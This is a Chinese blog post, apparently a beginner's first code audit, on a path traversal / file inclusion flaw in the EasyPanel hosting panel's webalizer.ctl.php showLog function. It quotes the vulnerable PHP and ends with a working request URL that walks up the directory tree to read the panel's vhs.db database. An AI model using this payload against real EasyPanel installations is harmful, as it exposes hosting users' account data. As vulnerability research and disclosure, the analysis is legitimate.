EasyPanel文件包含漏洞
首先:本教程未经本人允许,不得私自转发,还有你看了文章过后干的任何违法事都与本站和本博主无关
EasyPanel是国人开发的一款面板,说实在感觉还不错,不过好像漏洞挺多(确实如此),这个暑假学了一点点代码审计,想到使用EP面板的庞大用户。。所以。。我的第一次代码审计,就拿EP来开刀吧!!下面入坑
首先是以前某位dalao分享的解码版EP,已经上传到我的Github:EasyPanel-Decoded-Backup
启发我的是网上以前某位dalao发现的漏洞:Kangle虚拟主机最新版GetShell漏洞(无需登录即可获取所有用户信息)
我先采取静态搜索的方法(我的用词不准,初学的,dalao勿喷),一波搜索之后:
我的目光先瞄准webftp.ctl.php,但很明显,这部分文件处理比较严格。。路径已经设置成绝对路径还带过滤。。
function getcwd() {
return $_SESSION['webftp_cwd'];
}
function setcwd($dir) {
$dir = @unescape( $dir );
if ($dir[0] != '/') {
$dir = $_SESSION['webftp_cwd'] . '/' . $dir;
}
$_SESSION['webftp_cwd'] = trimdir( $dir );
return $_SESSION['webftp_cwd'];
}
function getusrfile($dir, $curdir = null) {
$dir = unescape( $dir );
if ($curdir == null) {
$curdir = $_SESSION['webftp_cwd'];
}
if ($dir[0] != '/') {
$dir = $curdir . '/' . $dir;
}
$dir = tolocal( trimdir( $dir ) );
if ($dir[0] == '/') {
return $dir;
}
return '/' . $dir;
}
function getphyfile($dir, $curdir = null) {
return $_SESSION['webftp_docroot'] . $this->getusrfile( $dir, $curdir );
}
这几段函数看起来每个文件读写操作前都会调用。。这里算是天衣无缝了(dalao勿喷)
我又grep慢慢查,grep -i fread ,grep -i $_REQUEST ,然后又一个文件仔细的看,最后发现webalizer.ctl.php比较可疑。
webalizer.ctl.php这是个查看log的control类php,这里看起来比较可疑
代码如下:
needRole( 'vhost' );
class WebalizerControl extends control {
function showLog() {
$vhost = getRole( 'vhost' );
if (!$vhost) {
return false;
}
$ftpdir = '/home/ftp/';
if (strncasecmp( PHP_OS, 'WIN', 3 ) == 0) {
$ftpdir = $GLOBALS['node_cfg']['localhost']['dev'] . $ftpdir;
}
$ftpdir .= substr( $vhost, 0, 1 ) . '/';
$ftpdir .= $vhost . '/webalizer/';
$file = $_REQUEST['file'];
if (!$file) {
$file = 'index.html';
}
header( 'Content-Type: text/html; charset=utf-8' );
if (!file_exists( $ftpdir . $file )) {
echo '<p></p>';
exit( );
}
$fp = @file_get_contents( $ftpdir . $file, 'r' );
echo $fp;
exit( );
}
}
(上面部分html因为markdown编辑器问题,我删了。。不影响)
先看这段:
$ftpdir = '/home/ftp/';
if (strncasecmp( PHP_OS, 'WIN', 3 ) == 0) {
$ftpdir = $GLOBALS['node_cfg']['localhost']['dev'] . $ftpdir;
}
$ftpdir .= substr( $vhost, 0, 1 ) . '/';
$ftpdir .= $vhost . '/webalizer/';
这段确定了log存放的目录,比如空间名叫test,那这个目录应该是/home/ftp/t/test/webalizer,但是呢,很多时候webalizer目录不存在(原因未知),需要我们自己创建,这里还不是关键点,我们继续往下看。
$file = $_REQUEST['file'];
if (!$file) {
$file = 'index.html';
}
header( 'Content-Type: text/html; charset=utf-8' );
if (!file_exists( $ftpdir . $file )) {
echo '<p></p>';
exit( );
}
看到这里,大概你就懂了吧,file变量可以被我们改变,而且能被使用,file变量存在之后,就会到!file_exists( $ftpdir . $file )这一句,很明显这是个字符拼接,而且file变量和字符拼接都没有字符过滤,那么这里的文件路径应该是(空间名test为例)/home/ftp/t/test/webalizer/$file
典型的文件包含漏洞!!
找出漏洞点之后我们来测试一下:
我的一个测试链接: http://xxxx:3312/vhost/index.php?c=webalizer&a=showLog&file=../../../../../vhs/kangle/etc/vhs.db
因为没时间就不附上图了。。
修补方法:更新新版EP
PS:貌似官方很怕被用户了解知道,所以更新日志也不敢详细写,所以希望看过之后也不要大范围传播。。避免翻车。